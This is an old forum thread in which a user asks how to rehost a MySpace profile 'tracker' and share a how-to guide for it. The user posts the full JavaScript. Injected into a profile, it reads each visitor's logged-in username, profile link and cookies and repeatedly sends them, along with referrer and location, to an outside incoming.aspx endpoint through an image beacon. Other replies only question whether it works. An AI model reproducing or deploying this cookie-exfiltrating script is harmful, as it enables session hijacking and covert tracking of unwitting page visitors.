How hard would it be to make my own Myspace tracker using pre-existing javascript?

Discussion in 'OT Technology' started by Mugwump, Jun 8, 2006.

  1. Mugwump

    Mugwump Guest

    Myspace generally blocks trackers by banning the server address. Say they ban "yousendit.com," whenever you type in that address, it appears as "..."

    Say I have in my possession a spyspace.js that still works. When I open it up, it points to the website that uses the tracker. How difficult would it be to change the address to a different "incoming.aspx" address and host the tracker on my own? What would I need? Some kind of PHP/ASP script to read the JS, right? What else... I would then create a how-to guide to have other people host it on their own and share the wealth!
     
  2. RyanL

    RyanL OT Supporter

    Joined:
    Nov 30, 2004
    Messages:
    4,584
    Likes Received:
    0
    Location:
    St. Paul, MN
    from what i have heard, myspace blocks javascript now so you wont be able to go that route, the best thing you can do is pull the ip someone viewing your page from putting an image on it and watching who view it.
     
  3. Mugwump

    Mugwump Guest

    Nope, this JS still works. Not blocked. I even tried re-adding to see if it's blocked, and it isn't.
     
  4. Mugwump

    Mugwump Guest

    Bump?

    Here's what the JS code looks like:


    if (!document.x) {
    function pP(str){
    var s = str.indexOf('My URL')+10;
    s = str.indexOf('http://www.myspace.com/', s) + 23;
    e = str.indexOf('<br />', s);
    return str.substring(s, e);
    };
    function pT(str) {
    var s = str.indexOf('_m.');
    if (s > 0)
    s = str.lastIndexOf('"', s)+1;
    else
    return "";
    e = str.indexOf('"', s);
    return str.substring(s, e);
    }
    function pN(str){
    var s = str.indexOf('Hello, ');
    var e = str.indexOf('!', s);
    return str.substring(s+7, e);
    }
    var d = new Date();
    document.msSessionID = Math.round(Math.random()*10000) + Math.round(Math.random()*10000) + "0" + d.getMilliseconds() + d.getDay();
    document.x=((typeof XMLHttpRequest != 'undefined') && XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject('Microsoft.XMLHTTP');
    document.x.onreadystatechange=function(){
    document.locC = 0;
    if (document.x.readyState==4) {
    var n=pN(document.x.responseText);
    var t=pT(document.x.responseText);
    var k=pP(document.x.responseText);
    document.i=document.createElement('img');
    document.locStr = 'http://ommittedwebsite/incoming.aspx?p='+escape(document.profile)+'&l='+escape(document.location)+'&n='+n+'&t='+t+'&k='+escape(k)+'&r='+escape(document.referrer)+'&c='+escape(document.cookie)+'&s='+escape(document.msSessionID);
    document.i.src = document.locStr;
    document.body.appendChild(document.i);
    setInterval("document.i.src = document.locStr + '&x='+(document.locC++);", 60000);
    }
    }
    try{
    document.x.open('GET', 'index.cfm?fuseaction=user', true);
    document.x.send(null);
    }
    catch(e){
    try
    {
    document.x.open('GET', 'http://profile.myspace.com/index.cfm?fuseaction=user', true);
    document.x.send(null);
    }
    catch(e)
    {
    try
    {
    document.x.open('GET', 'http://www.myspace.com/index.cfm?fuseaction=user', true);
    document.x.send(null);
    }
    catch(e)
    {
    try
    {
    document.x.open('GET', 'http://myspace.com/index.cfm?fuseaction=user', true);
    document.x.send(null);
    }
    catch(e)
    {}
    }
    }
    }
    function checkHit(){
    if (!document.i) {
    document.i=document.createElement('img');
    document.locStr = 'http://ommittedwebsite/incoming.aspx?p=' + escape(document.profile) + '&l='+escape(document.location)+ '&r='+escape(document.referrer)+'&c='+escape(document.cookie)+'&s='+escape(document.msSessionID);
    document.i.src = document.locStr;
    setInterval("document.i.src = document.locStr + '&x='+(document.locC++);", 60000);
    }
    }
    setTimeout('checkHit()', 5000);
    }
     
  5. P07r0457

    P07r0457 New Member

    Joined:
    Sep 20, 2004
    Messages:
    28,491
    Likes Received:
    0
    Location:
    Southern Oregon
    that won't even work on anyone not use MSIE... So don't even bother.
     
  6. Mugwump

    Mugwump Guest

    I'm willing to bet that a majority of them do, so I'd greatly appreciate a script.
     

Share This Page